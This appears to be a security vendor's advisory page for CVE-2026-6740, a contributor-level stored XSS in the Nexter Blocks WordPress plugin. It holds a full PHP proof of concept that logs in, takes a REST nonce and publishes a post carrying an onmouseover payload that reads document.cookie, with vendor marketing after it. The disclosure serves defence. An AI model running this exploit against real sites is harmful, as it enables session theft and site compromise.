 * Author: POSIMYTH
 * Author URI: https://posimyth.com
 * Tested up to: 6.9
@@ -17,7 +17,7 @@
 	exit;
 }

-defined( 'TPGB_VERSION' ) or define( 'TPGB_VERSION', '4.7.4' );
+defined( 'TPGB_VERSION' ) or define( 'TPGB_VERSION', '4.7.5' );
 define( 'TPGB_FILE__', __FILE__ );

 define( 'TPGB_PATH', plugin_dir_path( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6740 - Nexter Blocks <= 4.7.4 Authenticated (Contributor+) Stored XSS via commentIcon

// Configuration: Set these variables before running
$target_url = 'http://example.com'; // WordPress site URL
$username = 'attacker';               // Contributor or higher
$password = 'attacker_password';

$cookie_jar = '/tmp/cookies_' . uniqid() . '.txt'; 

// Step 1: Login
$login_url = $target_url . '/wp-login.php';
$post_data = 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1';

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$login_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200) {
    die('Login failed with HTTP code: ' . $http_code . "n");
}
echo "[+] Login successfuln";

// Step 2: Get REST API nonce by accessing the block editor page
$editor_url = $target_url . '/wp-admin/post-new.php?post_type=post';
$ch = curl_init($editor_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$editor_response = curl_exec($ch);
preg_match('/"nonce":"([^"]+)"/', $editor_response, $nonce_matches);
$nonce = isset($nonce_matches[1]) ? $nonce_matches[1] : '';
preg_match('/"restNonce":"([^"]+)"/', $editor_response, $rest_nonce_matches);
$rest_nonce = isset($rest_nonce_matches[1]) ? $rest_nonce_matches[1] : $nonce;
if (empty($rest_nonce)) {
    die('Could not retrieve REST nonce. The block editor may not be accessible.' . "n");
}
echo "[+] Retrieved REST nonce: " . $rest_nonce . "n";

// Step 3: Craft a post with the Post Meta block containing XSS payload in commentIcon
$payload = 'fa-star onmouseover=alert(document.cookie)';

$post_content = '<!-- wp:tpgb/tp-post-meta {"block_id":"xss-test","showComment":true,"commentIcon":"' . addslashes($payload) . '"} /-->';

$json_data = json_encode([
    'title' => 'Test Post CVE-2026-6740',
    'content' => $post_content,
    'status' => 'publish',
    'meta' => [
        '_wp_page_template' => 'default'
    ]
]);

$rest_url = $target_url . '/wp-json/wp/v2/posts';
$ch = curl_init($rest_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$post_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$response_data = json_decode($post_response, true);
if ($http_code === 201 && isset($response_data['id'])) {
    echo "[+] Post created with ID: " . $response_data['id'] . "n";
    echo "[+] View the post at: " . $target_url . '/?p=' . $response_data['id'] . "n";
    echo "[+] XSS payload: " . $payload . "n";
    echo "[+] Move your mouse over the comment icon to trigger the alert.n";
} else {
    echo "[-] Failed to create post. HTTP code: " . $http_code . "n";
    echo "[-] Response: " . $post_response . "n";
}

// Cleanup
curl_close($ch);
unlink($cookie_jar);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.